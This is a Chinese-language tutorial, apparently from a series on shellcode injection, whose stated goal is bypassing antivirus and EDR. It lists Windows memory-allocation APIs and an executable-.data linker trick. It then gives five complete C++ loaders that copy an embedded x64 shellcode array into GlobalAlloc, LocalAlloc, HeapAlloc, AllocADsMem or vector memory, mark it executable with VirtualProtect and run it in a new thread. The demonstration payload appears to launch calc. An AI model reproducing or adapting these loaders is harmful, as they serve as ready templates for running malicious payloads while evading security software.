23-内存申请总结

从本篇到还有后面的两篇都是总结概况性的文章,旨在总结前面提及过的各种API的用法以及拓宽未介绍的思路和视野,这样就可以构造多条shellcode注入的执行链,帮助读者更好的绕过AV/EDR。

在shellcode的注入中,内存申请总是绕不过的话题,它是shellcode注入的三部曲的第一步,也是至关重要的一步。

⚠注意

  1. 在shellcode注入中一定要分清是注入本进程还是远程进程。

  2. 这里并不讨论使用Nt或Zw类型的API,也不讨论系统调用。

一、VirutallAlloc

官方文档:VirtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

VirtualAlloc 函数来是最常见的一个内存申请的API,它可以申请一块动态内存来存放我们的shellcode。

我们来回顾一下官方介绍的用法:保留提交更改调用进程的虚拟地址空间中页面区域的状态。 此函数分配的内存会自动初始化为零。

再看一下它的语法

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

我在这里再次说明,VirtualAlloc 的第三个参数 flAllocationType 才是这个函数的精髓所在,这使得 VirtualAlloc 可以申请一块RWX的内存区域。

二、VirtualAllocEx

官方文档:

VirtualAllocEx 是另一个可以申请一块RWX的内存区域的API,不过它申请的对象是远程进程

语法

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

三、HeapCreate+HeapAlloc

HeapCreate:创建可由调用进程使用的专用堆对象

语法

HANDLE HeapCreate(
  [in] DWORD  flOptions,
  [in] SIZE_T dwInitialSize,
  [in] SIZE_T dwMaximumSize
);

它的第一个参数 flOptions 可以设置为 HEAP_CREATE_ENABLE_EXECUTE,这是 HeapCreate+HeapAlloc 的关键所在,这意味着我们可以创建一块可以执行的堆对象。

HeapAlloc:从堆中分配内存块。 分配的内存不可移动。

语法

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
);

HeapAlloc 的第一个参数是要从中分配内存的堆的句柄,我们可以将 HeapCreate 创建的 HEAP_CREATE_ENABLE_EXECUTE 堆的句柄作为 HeapAlloc 的参数。

四、AllocADsMem

官方文档:AllocADsMem 函数 (adshlp.h) - Win32 apps | Microsoft Learn

AllocADsMem :分配指定大小的内存块。很朴实无华的一个API,它分配的内存的保护属性为可读可写不可执行,常与 ReallocADsMem 搭配使用

语法

LPVOID AllocADsMem(
  [in] DWORD cb
);

五、GlobalAlloc

官方文档:globalAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn

GlobalAlloc:从堆中分配指定的字节数,该堆是全局堆,意味着各个进程都能访问到,值得关注是该全局堆为可读可写不可执行的。语法

DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags,
  [in] SIZE_T dwBytes
);

六、LocalAlloc

官方文档:localAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn

LocalAlloc:从堆中分配指定的字节数,该堆是本地堆,意味着只有调用进程可以使用,该本地堆是可读可写不可执行的。语法

DECLSPEC_ALLOCATOR HLOCAL LocalAlloc(
  [in] UINT   uFlags,
  [in] SIZE_T uBytes
);

七、CreateFileMapping+MapViewOfFile+MapViewOfFile2

官方文档:

CreateFileMapping:创建文件映射对象。语法:

HANDLE CreateFileMappingW(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCWSTR               lpName
);

它的第三个参数 flProtect 可以指定文件映射对象的页面保护属性,这个是关键所在,因为 MapViewOfFileMapViewOfFile2 返回的内存是不能用 VirtualProtect 修改内存的保护属性

MapViewOfFile:将文件映射的视图映射到调用进程的地址空间,返回值为映射视图的起始地址。语法:

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);

MapViewOfFile2:将文件视图或页面文件支持的节映射到指定进程的地址空间中,返回值为映射视图的起始地址。语法

PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,
  [in]           HANDLE  ProcessHandle,
  [in]           ULONG64 Offset,
  [in, optional] PVOID   BaseAddress,
  [in]           SIZE_T  ViewSize,
  [in]           ULONG   AllocationType,
  [in]           ULONG   PageProtection
);

文件视图其实就是进程的某一块与文件映射对象建立映射关系的内存

八、本地缓冲数组

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>

int main(int argc, wchar_t* argv[])
{
	// 方法1:C/C++,直接定义栈数组(未初始化)
	unsigned char shellcode[1100];

	// 方法2:创建堆
	// C风格)
	unsigned char* heap1 = (unsigned char*)malloc(1100 * sizeof(unsigned char));
	free(heap1);

	// C++风格
	unsigned char* heap2 = new unsigned char[1100];
	delete[] heap2;
}

本地缓冲可能是栈上的某个内存也可能是堆中的某个内存,默认内存保护属性为可读可写不可执行。

九、VirtualProtect/VirtualProtectEx

VirutallAlloc 申请的内存是毋庸置疑可以修改的,且大多数网上的文章都会介绍 VirutallAlloc+VirtualProtect 的组合使用。在这里,介绍网上没有人介绍的,就是能不能尝试改变 GlobalAllocLocalAllocHeapAllocAllocADsMem本地缓冲数组 的内存保护属性

网上也有人用下面这条编译指令直接赋予数据段可执行权限,避免 VirtualAlloc 等敏感API调用。具体怎么用这些这些方法还是看情况而言的

#pragma comment(linker, "/section:.data,RWE")

9.1 测试能否修改GlobalAlloc

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <iostream>

int main() {
    unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 }; // shellcode数据

    // 分配全局内存
    HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, sizeof(shellcode));
    if (hGlob == NULL) {
        std::cout << "GlobalAlloc failed. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // 锁定内存以获取指针
    LPVOID lpCopy = GlobalLock(hGlob);
    if (lpCopy == NULL) {
        std::cout << "GlobalLock failed. Error: " << GetLastError() << std::endl;
        GlobalFree(hGlob);
        return 1;
    }

    // 复制shellcode到全局内存
    memcpy(lpCopy, shellcode, sizeof(shellcode));

    // 修改内存保护属性为可执行
    DWORD oldProtect;
    if (!VirtualProtect(lpCopy, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cout << "VirtualProtect failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlob);
        GlobalFree(hGlob);
        return 1;
    }

    // 创建线程执行shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpCopy, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cout << "CreateThread failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlob);
        GlobalFree(hGlob);
        return 1;
    }

    // 等待线程完成
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    CloseHandle(hThread);
    GlobalUnlock(hGlob);
    GlobalFree(hGlob);
    return 0;
}

9.2 测试能否修改LocalAlloc

#include <Windows.h>
#include <iostream>

int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 分配本地可移动内存
    HLOCAL hMemory = LocalAlloc(LMEM_MOVEABLE, sizeof(shellcode));
    if (!hMemory) {
        std::cerr << "LocalAlloc failed: " << GetLastError() << std::endl;
        return 1;
    }

    // 锁定并写入shellcode
    LPVOID pMemory = LocalLock(hMemory);
    if (!pMemory) {
        std::cerr << "LocalLock failed: " << GetLastError() << std::endl;
        LocalFree(hMemory);
        return 1;
    }

    RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(pMemory, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        LocalUnlock(hMemory);
        LocalFree(hMemory);
        return 1;
    }

    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    LocalUnlock(hMemory);
    LocalFree(hMemory);
    return 0;
}

9.3 测试能否修改HeapAlloc

#include <Windows.h>
#include <iostream>

int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 从堆中分配内存块
    LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, sizeof(shellcode));

    // 移动shellcode到堆空间中
    RtlMoveMemory(lpBuffer, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(lpBuffer, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }
    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    return 0;
}

9.4 测试是否能修改AllocADsMem

#define WIN32_LEAN_AND_MEAN  // 减少无关头文件
#include <Windows.h>
#include <objidl.h>         // 必须在ADSI头文件之前
#include <activeds.h>       // ADSI主头文件
#include <adshlp.h>         // 次要ADSI帮助头文件
#include <iostream>
#pragma comment(lib, "activeds.lib")
int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 从堆中分配内存块
    LPVOID lpBuffer = AllocADsMem(sizeof(shellcode));

    // 移动shellcode到堆空间中
    RtlMoveMemory(lpBuffer, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(lpBuffer, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }
    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    return 0;
}

9.5 测试是否能修改本地缓冲数组

#include <stdio.h>
#include <iostream>
#include <Windows.h>
#include <vector>
int main() {
    std::vector<unsigned char>shellcode = {
    0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(shellcode.data(), shellcode.size(), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }

    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)shellcode.data(), NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);


    return 0;
}